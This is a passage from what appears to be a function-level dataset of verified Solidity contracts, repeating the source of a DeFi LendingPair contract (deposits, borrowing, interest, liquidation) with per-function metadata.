Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); } function accountHealth(address _account) public view returns(uint) { if (debtOf[tokenA][_account] == 0 && debtOf[tokenB][_account] == 0) { return controller.LIQ_MIN_HEALTH(); } uint totalAccountSupply = _supplyCredit(_account, tokenA, tokenA) + _supplyCredit(_account, tokenB, tokenA); uint totalAccountBorrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrow; } // Get borow balance converted to the units of _returnToken function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); } function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint) { _validateToken(_suppliedToken); _validateToken(_returnToken); return _supplyBalance(_account, _suppliedToken, _returnToken); } function supplyRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return controller.interestRateModel().supplyRatePerBlock(ILendingPair(address(this)), _token); } function borrowRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return _borrowRatePerBlock(_token); } function pendingSupplyInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); uint newInterest = _newInterest(lpToken[_token].balanceOf(_account), _token, _account); return newInterest * _lpRate(_token) / 100e18; } function pendingBorrowInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); return _pendingBorrowInterest(_token, _account); } function feeRecipient() public view returns(address) { return controller.feeRecipient(); } function checkAccountHealth(address _account) public view { uint health = accountHealth(_account); require(health >= controller.LIQ_MIN_HEALTH(), "LendingPair: insufficient accountHealth"); } function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint) { _validateToken(_fromToken); _validateToken(_toToken); return _convertTokenValues(_fromToken, _toToken, _inputAmount); } function _depositRepay(address _account, address _token, uint _amount) internal { uint debt = debtOf[_token][_account]; uint repayAmount = debt > _amount ? _amount : debt; if (repayAmount > 0) { _repay(_account, _token, repayAmount); } uint depositAmount = _amount - repayAmount; if (depositAmount > 0) { _deposit(_account, _token, depositAmount); } } function _withdrawBorrow(address _token, uint _amount) internal { uint supplyAmount = lpToken[_token].balanceOf(msg.sender); uint withdrawAmount = supplyAmount > _amount ? _amount : supplyAmount; if (withdrawAmount > 0) { _withdraw(_token, withdrawAmount); } uint borrowAmount = _amount - withdrawAmount; if (borrowAmount > 0) { _borrow(_token, borrowAmount); } } function _distributeReward(address _account) internal { IRewardDistribution rewardDistribution = controller.rewardDistribution(); if ( address(rewardDistribution) != address(0) && _account != feeRecipient() ) { rewardDistribution.distributeReward(_account, tokenA); rewardDistribution.distributeReward(_account, tokenB); } } function _mintSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].mint(_account, _amount); } } function _burnSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].burn(_account, _amount); } } function _mintDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] += _amount; totalDebt[_token] += _amount; } // Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); } function _burnDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] -= _amount; totalDebt[_token] -= _amount; } function _accrueAccountInterest(address _account) internal { uint lpBalanceA = lpToken[tokenA].balanceOf(_account); uint lpBalanceB = lpToken[tokenB].balanceOf(_account); _accrueAccountSupply(tokenA, lpBalanceA, _account); _accrueAccountSupply(tokenB, lpBalanceB, _account); _accrueAccountDebt(tokenA, _account); _accrueAccountDebt(tokenB, _account); accountInterestSnapshot[tokenA][_account] = cumulativeInterestRate[tokenA]; accountInterestSnapshot[tokenB][_account] = cumulativeInterestRate[tokenB]; } function _accrueAccountSupply(address _token, uint _amount, address _account) internal { if (_amount > 0) { uint supplyInterest = _newInterest(_amount, _token, _account); uint newSupplyAccount = supplyInterest * _lpRate(_token) / 100e18; uint newSupplySystem = supplyInterest * _systemRate(_token) / 100e18; _mintSupply(_token, _account, newSupplyAccount); _mintSupply(_token, feeRecipient(), newSupplySystem); } } function _accrueAccountDebt(address _token, address _account) internal { if (debtOf[_token][_account] > 0) { uint newDebt = _pendingBorrowInterest(_token, _account); _mintDebt(_token, _account, newDebt); } } function _withdraw(address _token, uint _amount) internal { lpToken[_token].burn(msg.sender, _amount); checkAccountHealth(msg.sender); emit Withdraw(_token, _amount); } function _borrow(address _token, uint _amount) internal { require(lpToken[_token].balanceOf(msg.sender) == 0, "LendingPair: cannot borrow supplied token"); _mintDebtWithOriginFee(_token, msg.sender, _amount); _checkBorrowLimits(_token, msg.sender); checkAccountHealth(msg.sender); emit Borrow(_token, _amount); } function _repay(address _account, address _token, uint _amount) internal { _burnDebt(_token, _account, _amount); emit Repay(_account, _token, _amount); } function _deposit(address _account, address _token, uint _amount) internal { _checkOracleSupport(tokenA); _checkOracleSupport(tokenB); require(debtOf[_token][_account] == 0, "LendingPair: cannot deposit borrowed token"); _mintSupply(_token, _account, _amount); _checkDepositLimit(_token); emit Deposit(_account, _token, _amount); } function _accrueInterest(address _token) internal { cumulativeInterestRate[_token] += _pendingInterestRate(_token); } function _pendingInterestRate(address _token) internal view returns(uint) { uint blocksElapsed = block.number - lastBlockAccrued; return _borrowRatePerBlock(_token) * blocksElapsed; } function _createLpToken(address _lpTokenMaster) internal returns(IERC20) { ILPTokenMaster newLPToken = ILPTokenMaster(_lpTokenMaster.clone()); newLPToken.initialize(); return IERC20(newLPToken); } function _safeTransfer(address _token, address _recipient, uint _amount) internal override { TransferHelper._safeTransfer(_token, _recipient, _amount); _checkMinReserve(address(_token)); } function _wethWithdrawTo(address _to, uint _amount) internal override { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } function _borrowRatePerBlock(address _token) internal view returns(uint) { return controller.interestRateModel().borrowRatePerBlock(ILendingPair(address(this)), _token); } function _pendingBorrowInterest(address _token, address _account) internal view returns(uint) { return _newInterest(debtOf[_token][_account], _token, _account); } function _borrowBalance( address _account, address _borrowedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_borrowedToken, _returnToken, debtOf[_borrowedToken][_account]); } // Get supply balance converted to the units of _returnToken function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); } function _supplyCredit( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _supplyBalance(_account, _suppliedToken, _returnToken) * controller.colFactor(_suppliedToken) / 100e18; } function _convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) internal view returns(uint) { uint priceFrom = controller.tokenPrice(_fromToken) * 1e18 / 10 ** IERC20(_fromToken).decimals(); uint priceTo = controller.tokenPrice(_toToken) * 1e18 / 10 ** IERC20(_toToken).decimals(); return _inputAmount * priceFrom / priceTo; } function _validateToken(address _token) internal view { require(_token == tokenA || _token == tokenB, "LendingPair: invalid token"); } function _checkOracleSupport(address _token) internal view { require(controller.tokenSupported(_token), "LendingPair: token not supported"); } function _checkMinReserve(address _token) internal view { require(IERC20(_token).balanceOf(address(this)) >= MIN_RESERVE, "LendingPair: below MIN_RESERVE"); } function _checkDepositLimit(address _token) internal view { require(controller.depositsEnabled(), "LendingPair: deposits disabled"); uint depositLimit = controller.depositLimit(address(this), _token); if (depositLimit > 0) { require((lpToken[_token].totalSupply()) <= depositLimit, "LendingPair: deposit limit reached"); } } function _checkBorrowLimits(address _token, address _account) internal view { require(controller.borrowingEnabled(), "LendingPair: borrowing disabled"); uint accountBorrowUSD = debtOf[_token][_account] * controller.tokenPrice(_token) / 1e18; require(accountBorrowUSD >= controller.minBorrowUSD(), "LendingPair: borrow amount below minimum"); uint borrowLimit = controller.borrowLimit(address(this), _token); if (borrowLimit > 0) { require(totalDebt[_token] <= borrowLimit, "LendingPair: borrow limit reached"); } } function _originationFee(address _token, uint _amount) internal view returns(uint) { return _amount * controller.originFee(_token) / 100e18; } function _systemRate(address _token) internal view returns(uint) { return controller.interestRateModel().systemRate(ILendingPair(address(this)), _token); } function _lpRate(address _token) internal view returns(uint) { return 100e18 - _systemRate(_token); } function _newInterest(uint _balance, address _token, address _account) internal view returns(uint) { uint currentCumulativeRate = cumulativeInterestRate[_token] + _pendingInterestRate(_token); return _balance * (currentCumulativeRate - accountInterestSnapshot[_token][_account]) / 100e18; } // Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } } }
borrowBalance
function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); }
// Get borow balance converted to the units of _returnToken
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 7827, 8115 ] }
3,663
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
LendingPair
contract LendingPair is TransferHelper, ReentrancyGuard { // Prevents division by zero and other undesirable behaviour uint private constant MIN_RESERVE = 1000; using Address for address; using Clones for address; mapping (address => mapping (address => uint)) public debtOf; mapping (address => mapping (address => uint)) public accountInterestSnapshot; mapping (address => uint) public cumulativeInterestRate; // 100e18 = 100% mapping (address => uint) public totalDebt; mapping (address => IERC20) public lpToken; IController public controller; address public tokenA; address public tokenB; uint public lastBlockAccrued; event Liquidation( address indexed account, address indexed repayToken, address indexed supplyToken, uint repayAmount, uint supplyAmount ); event Deposit(address indexed account, address indexed token, uint amount); event Withdraw(address indexed token, uint amount); event Borrow(address indexed token, uint amount); event Repay(address indexed account, address indexed token, uint amount); receive() external payable {} function initialize( address _lpTokenMaster, address _controller, IERC20 _tokenA, IERC20 _tokenB ) external { require(address(tokenA) == address(0), "LendingPair: already initialized"); require(address(_tokenA) != address(0) && address(_tokenB) != address(0), "LendingPair: cannot be ZERO address"); controller = IController(_controller); tokenA = address(_tokenA); tokenB = address(_tokenB); lastBlockAccrued = block.number; lpToken[tokenA] = _createLpToken(_lpTokenMaster); lpToken[tokenB] = _createLpToken(_lpTokenMaster); } function depositRepay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _depositRepay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function depositRepayETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); accrueAccount(_account); _depositRepay(_account, address(WETH), msg.value); _depositWeth(); } function deposit(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _deposit(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function withdrawBorrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdrawBorrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawBorrowETH(uint _amount) external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); _withdrawBorrow(address(WETH), _amount); _wethWithdrawTo(msg.sender, _amount); } function withdraw(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdraw(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawAll(address _token) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); uint amount = lpToken[_token].balanceOf(msg.sender); _withdraw(_token, amount); _safeTransfer(_token, msg.sender, amount); } function withdrawAllETH() external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); uint amount = lpToken[address(WETH)].balanceOf(msg.sender); _withdraw(address(WETH), amount); _wethWithdrawTo(msg.sender, amount); } function borrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _borrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function repayAll(address _account, address _token) external nonReentrant { _validateToken(_token); _requireAccountNotAccrued(_token, _account); accrueAccount(_account); uint amount = debtOf[_token][_account]; _repay(_account, _token, amount); _safeTransferFrom(_token, msg.sender, amount); } function repayAllETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); _requireAccountNotAccrued(address(WETH), _account); accrueAccount(_account); uint amount = debtOf[address(WETH)][_account]; require(msg.value >= amount, "LendingPair: insufficient ETH deposit"); _depositWeth(); _repay(_account, address(WETH), amount); uint refundAmount = msg.value > amount ? (msg.value - amount) : 0; if (refundAmount > 0) { _wethWithdrawTo(msg.sender, refundAmount); } } function repay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _repay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function accrue() public { if (lastBlockAccrued < block.number) { _accrueInterest(tokenA); _accrueInterest(tokenB); lastBlockAccrued = block.number; } } function accrueAccount(address _account) public { _distributeReward(_account); accrue(); _accrueAccountInterest(_account); if (_account != feeRecipient()) { _accrueAccountInterest(feeRecipient()); } } // Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); } function accountHealth(address _account) public view returns(uint) { if (debtOf[tokenA][_account] == 0 && debtOf[tokenB][_account] == 0) { return controller.LIQ_MIN_HEALTH(); } uint totalAccountSupply = _supplyCredit(_account, tokenA, tokenA) + _supplyCredit(_account, tokenB, tokenA); uint totalAccountBorrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrow; } // Get borow balance converted to the units of _returnToken function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); } function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint) { _validateToken(_suppliedToken); _validateToken(_returnToken); return _supplyBalance(_account, _suppliedToken, _returnToken); } function supplyRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return controller.interestRateModel().supplyRatePerBlock(ILendingPair(address(this)), _token); } function borrowRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return _borrowRatePerBlock(_token); } function pendingSupplyInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); uint newInterest = _newInterest(lpToken[_token].balanceOf(_account), _token, _account); return newInterest * _lpRate(_token) / 100e18; } function pendingBorrowInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); return _pendingBorrowInterest(_token, _account); } function feeRecipient() public view returns(address) { return controller.feeRecipient(); } function checkAccountHealth(address _account) public view { uint health = accountHealth(_account); require(health >= controller.LIQ_MIN_HEALTH(), "LendingPair: insufficient accountHealth"); } function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint) { _validateToken(_fromToken); _validateToken(_toToken); return _convertTokenValues(_fromToken, _toToken, _inputAmount); } function _depositRepay(address _account, address _token, uint _amount) internal { uint debt = debtOf[_token][_account]; uint repayAmount = debt > _amount ? _amount : debt; if (repayAmount > 0) { _repay(_account, _token, repayAmount); } uint depositAmount = _amount - repayAmount; if (depositAmount > 0) { _deposit(_account, _token, depositAmount); } } function _withdrawBorrow(address _token, uint _amount) internal { uint supplyAmount = lpToken[_token].balanceOf(msg.sender); uint withdrawAmount = supplyAmount > _amount ? _amount : supplyAmount; if (withdrawAmount > 0) { _withdraw(_token, withdrawAmount); } uint borrowAmount = _amount - withdrawAmount; if (borrowAmount > 0) { _borrow(_token, borrowAmount); } } function _distributeReward(address _account) internal { IRewardDistribution rewardDistribution = controller.rewardDistribution(); if ( address(rewardDistribution) != address(0) && _account != feeRecipient() ) { rewardDistribution.distributeReward(_account, tokenA); rewardDistribution.distributeReward(_account, tokenB); } } function _mintSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].mint(_account, _amount); } } function _burnSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].burn(_account, _amount); } } function _mintDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] += _amount; totalDebt[_token] += _amount; } // Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); } function _burnDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] -= _amount; totalDebt[_token] -= _amount; } function _accrueAccountInterest(address _account) internal { uint lpBalanceA = lpToken[tokenA].balanceOf(_account); uint lpBalanceB = lpToken[tokenB].balanceOf(_account); _accrueAccountSupply(tokenA, lpBalanceA, _account); _accrueAccountSupply(tokenB, lpBalanceB, _account); _accrueAccountDebt(tokenA, _account); _accrueAccountDebt(tokenB, _account); accountInterestSnapshot[tokenA][_account] = cumulativeInterestRate[tokenA]; accountInterestSnapshot[tokenB][_account] = cumulativeInterestRate[tokenB]; } function _accrueAccountSupply(address _token, uint _amount, address _account) internal { if (_amount > 0) { uint supplyInterest = _newInterest(_amount, _token, _account); uint newSupplyAccount = supplyInterest * _lpRate(_token) / 100e18; uint newSupplySystem = supplyInterest * _systemRate(_token) / 100e18; _mintSupply(_token, _account, newSupplyAccount); _mintSupply(_token, feeRecipient(), newSupplySystem); } } function _accrueAccountDebt(address _token, address _account) internal { if (debtOf[_token][_account] > 0) { uint newDebt = _pendingBorrowInterest(_token, _account); _mintDebt(_token, _account, newDebt); } } function _withdraw(address _token, uint _amount) internal { lpToken[_token].burn(msg.sender, _amount); checkAccountHealth(msg.sender); emit Withdraw(_token, _amount); } function _borrow(address _token, uint _amount) internal { require(lpToken[_token].balanceOf(msg.sender) == 0, "LendingPair: cannot borrow supplied token"); _mintDebtWithOriginFee(_token, msg.sender, _amount); _checkBorrowLimits(_token, msg.sender); checkAccountHealth(msg.sender); emit Borrow(_token, _amount); } function _repay(address _account, address _token, uint _amount) internal { _burnDebt(_token, _account, _amount); emit Repay(_account, _token, _amount); } function _deposit(address _account, address _token, uint _amount) internal { _checkOracleSupport(tokenA); _checkOracleSupport(tokenB); require(debtOf[_token][_account] == 0, "LendingPair: cannot deposit borrowed token"); _mintSupply(_token, _account, _amount); _checkDepositLimit(_token); emit Deposit(_account, _token, _amount); } function _accrueInterest(address _token) internal { cumulativeInterestRate[_token] += _pendingInterestRate(_token); } function _pendingInterestRate(address _token) internal view returns(uint) { uint blocksElapsed = block.number - lastBlockAccrued; return _borrowRatePerBlock(_token) * blocksElapsed; } function _createLpToken(address _lpTokenMaster) internal returns(IERC20) { ILPTokenMaster newLPToken = ILPTokenMaster(_lpTokenMaster.clone()); newLPToken.initialize(); return IERC20(newLPToken); } function _safeTransfer(address _token, address _recipient, uint _amount) internal override { TransferHelper._safeTransfer(_token, _recipient, _amount); _checkMinReserve(address(_token)); } function _wethWithdrawTo(address _to, uint _amount) internal override { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } function _borrowRatePerBlock(address _token) internal view returns(uint) { return controller.interestRateModel().borrowRatePerBlock(ILendingPair(address(this)), _token); } function _pendingBorrowInterest(address _token, address _account) internal view returns(uint) { return _newInterest(debtOf[_token][_account], _token, _account); } function _borrowBalance( address _account, address _borrowedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_borrowedToken, _returnToken, debtOf[_borrowedToken][_account]); } // Get supply balance converted to the units of _returnToken function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); } function _supplyCredit( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _supplyBalance(_account, _suppliedToken, _returnToken) * controller.colFactor(_suppliedToken) / 100e18; } function _convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) internal view returns(uint) { uint priceFrom = controller.tokenPrice(_fromToken) * 1e18 / 10 ** IERC20(_fromToken).decimals(); uint priceTo = controller.tokenPrice(_toToken) * 1e18 / 10 ** IERC20(_toToken).decimals(); return _inputAmount * priceFrom / priceTo; } function _validateToken(address _token) internal view { require(_token == tokenA || _token == tokenB, "LendingPair: invalid token"); } function _checkOracleSupport(address _token) internal view { require(controller.tokenSupported(_token), "LendingPair: token not supported"); } function _checkMinReserve(address _token) internal view { require(IERC20(_token).balanceOf(address(this)) >= MIN_RESERVE, "LendingPair: below MIN_RESERVE"); } function _checkDepositLimit(address _token) internal view { require(controller.depositsEnabled(), "LendingPair: deposits disabled"); uint depositLimit = controller.depositLimit(address(this), _token); if (depositLimit > 0) { require((lpToken[_token].totalSupply()) <= depositLimit, "LendingPair: deposit limit reached"); } } function _checkBorrowLimits(address _token, address _account) internal view { require(controller.borrowingEnabled(), "LendingPair: borrowing disabled"); uint accountBorrowUSD = debtOf[_token][_account] * controller.tokenPrice(_token) / 1e18; require(accountBorrowUSD >= controller.minBorrowUSD(), "LendingPair: borrow amount below minimum"); uint borrowLimit = controller.borrowLimit(address(this), _token); if (borrowLimit > 0) { require(totalDebt[_token] <= borrowLimit, "LendingPair: borrow limit reached"); } } function _originationFee(address _token, uint _amount) internal view returns(uint) { return _amount * controller.originFee(_token) / 100e18; } function _systemRate(address _token) internal view returns(uint) { return controller.interestRateModel().systemRate(ILendingPair(address(this)), _token); } function _lpRate(address _token) internal view returns(uint) { return 100e18 - _systemRate(_token); } function _newInterest(uint _balance, address _token, address _account) internal view returns(uint) { uint currentCumulativeRate = cumulativeInterestRate[_token] + _pendingInterestRate(_token); return _balance * (currentCumulativeRate - accountInterestSnapshot[_token][_account]) / 100e18; } // Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } } }
_mintDebtWithOriginFee
function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); }
// Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 11708, 11970 ] }
3,664
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
LendingPair
contract LendingPair is TransferHelper, ReentrancyGuard { // Prevents division by zero and other undesirable behaviour uint private constant MIN_RESERVE = 1000; using Address for address; using Clones for address; mapping (address => mapping (address => uint)) public debtOf; mapping (address => mapping (address => uint)) public accountInterestSnapshot; mapping (address => uint) public cumulativeInterestRate; // 100e18 = 100% mapping (address => uint) public totalDebt; mapping (address => IERC20) public lpToken; IController public controller; address public tokenA; address public tokenB; uint public lastBlockAccrued; event Liquidation( address indexed account, address indexed repayToken, address indexed supplyToken, uint repayAmount, uint supplyAmount ); event Deposit(address indexed account, address indexed token, uint amount); event Withdraw(address indexed token, uint amount); event Borrow(address indexed token, uint amount); event Repay(address indexed account, address indexed token, uint amount); receive() external payable {} function initialize( address _lpTokenMaster, address _controller, IERC20 _tokenA, IERC20 _tokenB ) external { require(address(tokenA) == address(0), "LendingPair: already initialized"); require(address(_tokenA) != address(0) && address(_tokenB) != address(0), "LendingPair: cannot be ZERO address"); controller = IController(_controller); tokenA = address(_tokenA); tokenB = address(_tokenB); lastBlockAccrued = block.number; lpToken[tokenA] = _createLpToken(_lpTokenMaster); lpToken[tokenB] = _createLpToken(_lpTokenMaster); } function depositRepay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _depositRepay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function depositRepayETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); accrueAccount(_account); _depositRepay(_account, address(WETH), msg.value); _depositWeth(); } function deposit(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _deposit(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function withdrawBorrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdrawBorrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawBorrowETH(uint _amount) external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); _withdrawBorrow(address(WETH), _amount); _wethWithdrawTo(msg.sender, _amount); } function withdraw(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdraw(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawAll(address _token) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); uint amount = lpToken[_token].balanceOf(msg.sender); _withdraw(_token, amount); _safeTransfer(_token, msg.sender, amount); } function withdrawAllETH() external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); uint amount = lpToken[address(WETH)].balanceOf(msg.sender); _withdraw(address(WETH), amount); _wethWithdrawTo(msg.sender, amount); } function borrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _borrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function repayAll(address _account, address _token) external nonReentrant { _validateToken(_token); _requireAccountNotAccrued(_token, _account); accrueAccount(_account); uint amount = debtOf[_token][_account]; _repay(_account, _token, amount); _safeTransferFrom(_token, msg.sender, amount); } function repayAllETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); _requireAccountNotAccrued(address(WETH), _account); accrueAccount(_account); uint amount = debtOf[address(WETH)][_account]; require(msg.value >= amount, "LendingPair: insufficient ETH deposit"); _depositWeth(); _repay(_account, address(WETH), amount); uint refundAmount = msg.value > amount ? (msg.value - amount) : 0; if (refundAmount > 0) { _wethWithdrawTo(msg.sender, refundAmount); } } function repay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _repay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function accrue() public { if (lastBlockAccrued < block.number) { _accrueInterest(tokenA); _accrueInterest(tokenB); lastBlockAccrued = block.number; } } function accrueAccount(address _account) public { _distributeReward(_account); accrue(); _accrueAccountInterest(_account); if (_account != feeRecipient()) { _accrueAccountInterest(feeRecipient()); } } // Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); } function accountHealth(address _account) public view returns(uint) { if (debtOf[tokenA][_account] == 0 && debtOf[tokenB][_account] == 0) { return controller.LIQ_MIN_HEALTH(); } uint totalAccountSupply = _supplyCredit(_account, tokenA, tokenA) + _supplyCredit(_account, tokenB, tokenA); uint totalAccountBorrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrow; } // Get borow balance converted to the units of _returnToken function 